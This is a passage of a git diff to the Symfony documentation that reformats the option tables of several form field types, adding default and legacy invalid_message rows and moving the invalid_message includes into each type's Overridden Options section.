+| Rendered as               | ``input`` ``file`` field                                           |
++---------------------------+--------------------------------------------------------------------+
+| Options                   | - `multiple`_                                                      |
++---------------------------+--------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                      |
+|                           | - `data_class`_                                                    |
+|                           | - `empty_data`_                                                    |
+|                           | - `invalid_message`_                                               |
++---------------------------+--------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                          |
+|                           | - `disabled`_                                                      |
+|                           | - `error_bubbling`_                                                |
+|                           | - `error_mapping`_                                                 |
+|                           | - `help`_                                                          |
+|                           | - `help_attr`_                                                     |
+|                           | - `help_html`_                                                     |
+|                           | - `label`_                                                         |
+|                           | - `label_attr`_                                                    |
+|                           | - `label_format`_                                                  |
+|                           | - `mapped`_                                                        |
+|                           | - `required`_                                                      |
+|                           | - `row_attr`_                                                      |
++---------------------------+--------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid file.                                        |
++---------------------------+--------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                |
++---------------------------+--------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
++---------------------------+--------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType` |
++---------------------------+--------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -120,6 +125,11 @@ This option sets the appropriate file-related data mapper to be used by the type
 This option determines what value the field will return when the submitted
 value is empty.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 8a0c219f410..e406413bf37 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -7,51 +7,55 @@ FormType Field
 The ``FormType`` predefines a couple of options that are then available
 on all types for which ``FormType`` is the parent.
 
-+-----------+--------------------------------------------------------------------+
-| Options   | - `action`_                                                        |
-|           | - `allow_extra_fields`_                                            |
-|           | - `by_reference`_                                                  |
-|           | - `compound`_                                                      |
-|           | - `constraints`_                                                   |
-|           | - `data`_                                                          |
-|           | - `data_class`_                                                    |
-|           | - `empty_data`_                                                    |
-|           | - `error_bubbling`_                                                |
-|           | - `error_mapping`_                                                 |
-|           | - `extra_fields_message`_                                          |
-|           | - `help`_                                                          |
-|           | - `help_attr`_                                                     |
-|           | - `help_html`_                                                     |
-|           | - `help_translation_parameters`_                                   |
-|           | - `inherit_data`_                                                  |
-|           | - `invalid_message`_                                               |
-|           | - `invalid_message_parameters`_                                    |
-|           | - `label_attr`_                                                    |
-|           | - `label_format`_                                                  |
-|           | - `mapped`_                                                        |
-|           | - `method`_                                                        |
-|           | - `post_max_size_message`_                                         |
-|           | - `property_path`_                                                 |
-|           | - `required`_                                                      |
-|           | - `trim`_                                                          |
-|           | - `validation_groups`_                                             |
-+-----------+--------------------------------------------------------------------+
-| Inherited | - `attr`_                                                          |
-| options   | - `auto_initialize`_                                               |
-|           | - `block_name`_                                                    |
-|           | - `block_prefix`_                                                  |
-|           | - `disabled`_                                                      |
-|           | - `label`_                                                         |
-|           | - `label_html`_                                                    |
-|           | - `row_attr`_                                                      |
-|           | - `translation_domain`_                                            |
-|           | - `label_translation_parameters`_                                  |
-|           | - `attr_translation_parameters`_                                   |
-+-----------+--------------------------------------------------------------------+
-| Parent    | none                                                               |
-+-----------+--------------------------------------------------------------------+
-| Class     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` |
-+-----------+--------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------+
+| Options                   | - `action`_                                                        |
+|                           | - `allow_extra_fields`_                                            |
+|                           | - `by_reference`_                                                  |
+|                           | - `compound`_                                                      |
+|                           | - `constraints`_                                                   |
+|                           | - `data`_                                                          |
+|                           | - `data_class`_                                                    |
+|                           | - `empty_data`_                                                    |
+|                           | - `error_bubbling`_                                                |
+|                           | - `error_mapping`_                                                 |
+|                           | - `extra_fields_message`_                                          |
+|                           | - `help`_                                                          |
+|                           | - `help_attr`_                                                     |
+|                           | - `help_html`_                                                     |
+|                           | - `help_translation_parameters`_                                   |
+|                           | - `inherit_data`_                                                  |
+|                           | - `invalid_message`_                                               |
+|                           | - `invalid_message_parameters`_                                    |
+|                           | - `label_attr`_                                                    |
+|                           | - `label_format`_                                                  |
+|                           | - `mapped`_                                                        |
+|                           | - `method`_                                                        |
+|                           | - `post_max_size_message`_                                         |
+|                           | - `property_path`_                                                 |
+|                           | - `required`_                                                      |
+|                           | - `trim`_                                                          |
+|                           | - `validation_groups`_                                             |
++---------------------------+--------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                          |
+|                           | - `auto_initialize`_                                               |
+|                           | - `block_name`_                                                    |
+|                           | - `block_prefix`_                                                  |
+|                           | - `disabled`_                                                      |
+|                           | - `label`_                                                         |
+|                           | - `label_html`_                                                    |
+|                           | - `row_attr`_                                                      |
+|                           | - `translation_domain`_                                            |
+|                           | - `label_translation_parameters`_                                  |
+|                           | - `attr_translation_parameters`_                                   |
++---------------------------+--------------------------------------------------------------------+
+| Default `invalid_message` | This value is not valid.                                           |
++---------------------------+--------------------------------------------------------------------+
+| Legacy `invalid_message`  | This value is not valid.                                           |
++---------------------------+--------------------------------------------------------------------+
+| Parent                    | none                                                               |
++---------------------------+--------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` |
++---------------------------+--------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index 1a74e107555..f0bddfa4260 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -6,25 +6,30 @@ HiddenType Field
 
 The hidden type represents a hidden input field.
 
-+-------------+----------------------------------------------------------------------+
-| Rendered as | ``input`` ``hidden`` field                                           |
-+-------------+----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                        |
-| options     | - `error_bubbling`_                                                  |
-|             | - `required`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `data`_                                                            |
-|             | - `empty_data`_                                                      |
-|             | - `error_mapping`_                                                   |
-|             | - `mapped`_                                                          |
-|             | - `property_path`_                                                   |
-|             | - `row_attr`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                        |
-+-------------+----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
-+-------------+----------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``hidden`` field                                           |
++---------------------------+----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                        |
+|                           | - `error_bubbling`_                                                  |
+|                           | - `invalid_message`_                                                 |
+|                           | - `required`_                                                        |
++---------------------------+----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                            |
+|                           | - `data`_                                                            |
+|                           | - `empty_data`_                                                      |
+|                           | - `error_mapping`_                                                   |
+|                           | - `mapped`_                                                          |
+|                           | - `property_path`_                                                   |
+|                           | - `row_attr`_                                                        |
++---------------------------+----------------------------------------------------------------------+
+| Default `invalid_message` | The hidden field is invalid.                                         |
++---------------------------+----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -40,6 +45,8 @@ Overridden Options
 
 Pass errors to the root form, otherwise they will not be visible.
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 ``required``
 ~~~~~~~~~~~~
 
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index fa5660158bc..7eb32abf7f9 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -13,37 +13,40 @@ This field has different options on how to handle input values that aren't
 integers. By default, all non-integer values (e.g. 6.78) will round down
 (e.g. 6).
 
-+-------------+-----------------------------------------------------------------------+
-| Rendered as | ``input`` ``number`` field                                            |
-+-------------+-----------------------------------------------------------------------+
-| Options     | - `grouping`_                                                         |
-|             | - `rounding_mode`_                                                    |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                         |
-| options     |                                                                       |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                             |
-| options     | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `invalid_message`_                                                  |
-|             | - `invalid_message_parameters`_                                       |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                         |
-+-------------+-----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
-+-------------+-----------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``number`` field                                            |
++---------------------------+-----------------------------------------------------------------------+
+| Options                   | - `grouping`_                                                         |
+|                           | - `rounding_mode`_                                                    |
++---------------------------+-----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                         |
+|                           | - `invalid_message`_                                                  |
++---------------------------+-----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                             |
+|                           | - `data`_                                                             |
+|                           | - `disabled`_                                                         |
+|                           | - `empty_data`_                                                       |
+|                           | - `error_bubbling`_                                                   |
+|                           | - `error_mapping`_                                                    |
+|                           | - `help`_                                                             |
+|                           | - `help_attr`_                                                        |
+|                           | - `help_html`_                                                        |
+|                           | - `invalid_message_parameters`_                                       |
+|                           | - `label`_                                                            |
+|                           | - `label_attr`_                                                       |
+|                           | - `label_format`_                                                     |
+|                           | - `mapped`_                                                           |
+|                           | - `required`_                                                         |
+|                           | - `row_attr`_                                                         |
++---------------------------+-----------------------------------------------------------------------+
+| Default `invalid_message` | Please enter an integer.                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
++---------------------------+-----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -86,6 +89,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -115,8 +120,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 5fa38697701..420ab1b59a0 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -20,46 +20,51 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of languages. You *can* specify the option
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `alpha3`_                                                            |
-|             | - `choice_self_translation`_                                           |
-|             | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)           |
++---------------------------+------------------------------------------------------------------------+
+| Options                   | - `alpha3`_                                                            |
+|                           | - `choice_self_translation`_                                           |
+|                           | - `choice_translation_locale`_                                         |
++---------------------------+------------------------------------------------------------------------+
+| Overridden options        | - `choices`_                                                           |
+|                           | - `choice_translation_domain`_                                         |
+|                           | - `invalid_message`_                                                   |
++---------------------------+------------------------------------------------------------------------+
+| Inherited options         | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
+|                           |                                                                        |
+|                           | - `error_bubbling`_                                                    |
+|                           | - `error_mapping`_                                                     |
+|                           | - `expanded`_                                                          |
+|                           | - `multiple`_                                                          |
+|                           | - `placeholder`_                                                       |
+|                           | - `preferred_choices`_                                                 |
+|                           | - `trim`_                                                              |
+|                           |                                                                        |
+|                           | from the :doc:`FormType </reference/forms/types/form>`                 |
+|                           |                                                                        |
+|                           | - `attr`_                                                              |
+|                           | - `data`_                                                              |
+|                           | - `disabled`_                                                          |
+|                           | - `empty_data`_                                                        |
+|                           | - `help`_                                                              |
+|                           | - `help_attr`_                                                         |
+|                           | - `help_html`_                                                         |
+|                           | - `label`_                                                             |
+|                           | - `label_attr`_                                                        |
+|                           | - `label_format`_                                                      |
+|                           | - `mapped`_                                                            |
+|                           | - `required`_                                                          |
+|                           | - `row_attr`_                                                          |
++---------------------------+------------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid language.                                        |
++---------------------------+------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -114,6 +119,8 @@ The default locale is used to translate the languages names.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 385cc4f6fd8..be6dde7e950 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -21,44 +21,49 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of locales. You *can* specify these options
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `choice_translation_locale`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
-|             | - `preferred_choices`_                                                 |
-|             | - `trim`_                                                              |
-|             |                                                                        |
-|             | from the :doc:`FormType </reference/forms/types/form>`                 |
-|             |                                                                        |
-|             | - `attr`_                                                              |
-|             | - `data`_                                                              |
-|             | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                      |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType`   |
-+-------------+------------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see :ref:`forms-reference-choice-tags`)         |
++---------------------------+----------------------------------------------------------------------+
+| Options                   | - `choice_translation_locale`_                                       |
++---------------------------+----------------------------------------------------------------------+
+| Overridden options        | - `choices`_                                                         |
+|                           | - `choice_translation_domain`_                                       |
+|                           | - `invalid_message`_                                                 |
++---------------------------+----------------------------------------------------------------------+
+| Inherited options         | from the :doc:`ChoiceType </reference/forms/types/choice>`           |
+|                           |                                                                      |
+|                           | - `error_bubbling`_                                                  |
+|                           | - `error_mapping`_                                                   |
+|                           | - `expanded`_                                                        |
+|                           | - `multiple`_                                                        |
+|                           | - `placeholder`_                                                     |
+|                           | - `preferred_choices`_                                               |
+|                           | - `trim`_                                                            |
+|                           |                                                                      |
+|                           | from the :doc:`FormType </reference/forms/types/form>`               |
+|                           |                                                                      |
+|                           | - `attr`_                                                            |
+|                           | - `data`_                                                            |
+|                           | - `disabled`_                                                        |
+|                           | - `empty_data`_                                                      |
+|                           | - `help`_                                                            |
+|                           | - `help_attr`_                                                       |
+|                           | - `help_html`_                                                       |
+|                           | - `label`_                                                           |
+|                           | - `label_attr`_                                                      |
+|                           | - `label_format`_                                                    |
+|                           | - `mapped`_                                                          |
+|                           | - `required`_                                                        |
+|                           | - `row_attr`_                                                        |
++---------------------------+----------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid locale.                                        |
++---------------------------+----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LocaleType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -85,6 +90,8 @@ specify the language.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_disabled.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index bb91d0b08da..ca7a5aceac7 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -11,41 +11,44 @@ This field type allows you to specify a currency, whose symbol is rendered
 next to the text field. There are also several other options for customizing
 how the input and output of the data is handled.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``text`` field                                            |
-+-------------+---------------------------------------------------------------------+
-| Options     | - `currency`_                                                       |
-|             | - `divisor`_                                                        |
-|             | - `grouping`_                                                       |
-|             | - `html5`_                                                          |
-|             | - `rounding_mode`_                                                  |
-|             | - `scale`_                                                          |
-+-------------+---------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                       |
-| options     |                                                                     |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `invalid_message`_                                                |
-|             | - `invalid_message_parameters`_                                     |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                            |
++---------------------------+---------------------------------------------------------------------+
+| Options                   | - `currency`_                                                       |
+|                           | - `divisor`_                                                        |
+|                           | - `grouping`_                                                       |
+|                           | - `html5`_                                                          |
+|                           | - `rounding_mode`_                                                  |
+|                           | - `scale`_                                                          |
++---------------------------+---------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                       |
+|                           | - `invalid_message`_                                                |
++---------------------------+---------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                           |
+|                           | - `data`_                                                           |
+|                           | - `disabled`_                                                       |
+|                           | - `empty_data`_                                                     |
+|                           | - `error_bubbling`_                                                 |
+|                           | - `error_mapping`_                                                  |
+|                           | - `help`_                                                           |
+|                           | - `help_attr`_                                                      |
+|                           | - `help_html`_                                                      |
+|                           | - `invalid_message_parameters`_                                     |
+|                           | - `label`_                                                          |
+|                           | - `label_attr`_                                                     |
+|                           | - `label_format`_                                                   |
+|                           | - `mapped`_                                                         |
+|                           | - `required`_                                                       |
+|                           | - `row_attr`_                                                       |
++---------------------------+---------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid money amount.                                  |
++---------------------------+---------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\MoneyType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -122,6 +125,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -151,8 +156,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index 599d0efa4cd..319c84b951e 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -8,40 +8,43 @@ Renders an input text field and specializes in handling number input. This
 type offers different options for the scale, rounding and grouping
 that you want to use for your number.
 
-+-------------+----------------------------------------------------------------------+
-| Rendered as | ``input`` ``text`` field                                             |
-+-------------+----------------------------------------------------------------------+
-| Options     | - `grouping`_                                                        |
-|             | - `html5`_                                                           |
-|             | - `input`_                                                           |
-|             | - `scale`_                                                           |
-|             | - `rounding_mode`_                                                   |
-+-------------+----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                        |
-| options     |                                                                      |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `data`_                                                            |
-|             | - `disabled`_                                                        |
-|             | - `empty_data`_                                                      |
-|             | - `error_bubbling`_                                                  |
-|             | - `error_mapping`_                                                   |
-|             | - `help`_                                                            |
-|             | - `help_attr`_                                                       |
-|             | - `help_html`_                                                       |
-|             | - `invalid_message`_                                                 |
-|             | - `invalid_message_parameters`_                                      |
-|             | - `label`_                                                           |
-|             | - `label_attr`_                                                      |
-|             | - `label_format`_                                                    |
-|             | - `mapped`_                                                          |
-|             | - `required`_                                                        |
-|             | - `row_attr`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                        |
-+-------------+----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
-+-------------+----------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                             |
++---------------------------+----------------------------------------------------------------------+
+| Options                   | - `grouping`_                                                        |
+|                           | - `html5`_                                                           |
+|                           | - `input`_                                                           |
+|                           | - `scale`_                                                           |
+|                           | - `rounding_mode`_                                                   |
++---------------------------+----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                        |
+|                           | - `invalid_message`_                                                 |
++---------------------------+----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                            |
+|                           | - `data`_                                                            |
+|                           | - `disabled`_                                                        |
+|                           | - `empty_data`_                                                      |
+|                           | - `error_bubbling`_                                                  |
+|                           | - `error_mapping`_                                                   |
+|                           | - `help`_                                                            |
+|                           | - `help_attr`_                                                       |
+|                           | - `help_html`_                                                       |
+|                           | - `invalid_message_parameters`_                                      |
+|                           | - `label`_                                                           |
+|                           | - `label_attr`_                                                      |
+|                           | - `label_format`_                                                    |
+|                           | - `mapped`_                                                          |
+|                           | - `required`_                                                        |
+|                           | - `row_attr`_                                                        |
++---------------------------+----------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a number.                                               |
++---------------------------+----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -86,6 +89,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -115,8 +120,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 37acff1a616..10b38a5ac8b 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -6,33 +6,37 @@ PasswordType Field
 
 The ``PasswordType`` field renders an input password text box.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | ``input`` ``password`` field                                           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `always_empty`_                                                      |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `trim`_                                                              |
-| options     |                                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                          |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | ``input`` ``password`` field                                           |
++---------------------------+------------------------------------------------------------------------+
+| Options                   | - `always_empty`_                                                      |
++---------------------------+------------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                   |
+|                           | - `trim`_                                                              |
++---------------------------+------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                              |
+|                           | - `disabled`_                                                          |
+|                           | - `empty_data`_                                                        |
+|                           | - `error_bubbling`_                                                    |
+|                           | - `error_mapping`_                                                     |
+|                           | - `help`_                                                              |
+|                           | - `help_attr`_                                                         |
+|                           | - `help_html`_                                                         |
+|                           | - `label`_                                                             |
+|                           | - `label_attr`_                                                        |
+|                           | - `label_format`_                                                      |
+|                           | - `mapped`_                                                            |
+|                           | - `required`_                                                          |
+|                           | - `row_attr`_                                                          |
++---------------------------+------------------------------------------------------------------------+
+| Default `invalid_message` | The password is invalid.                                               |
++---------------------------+------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
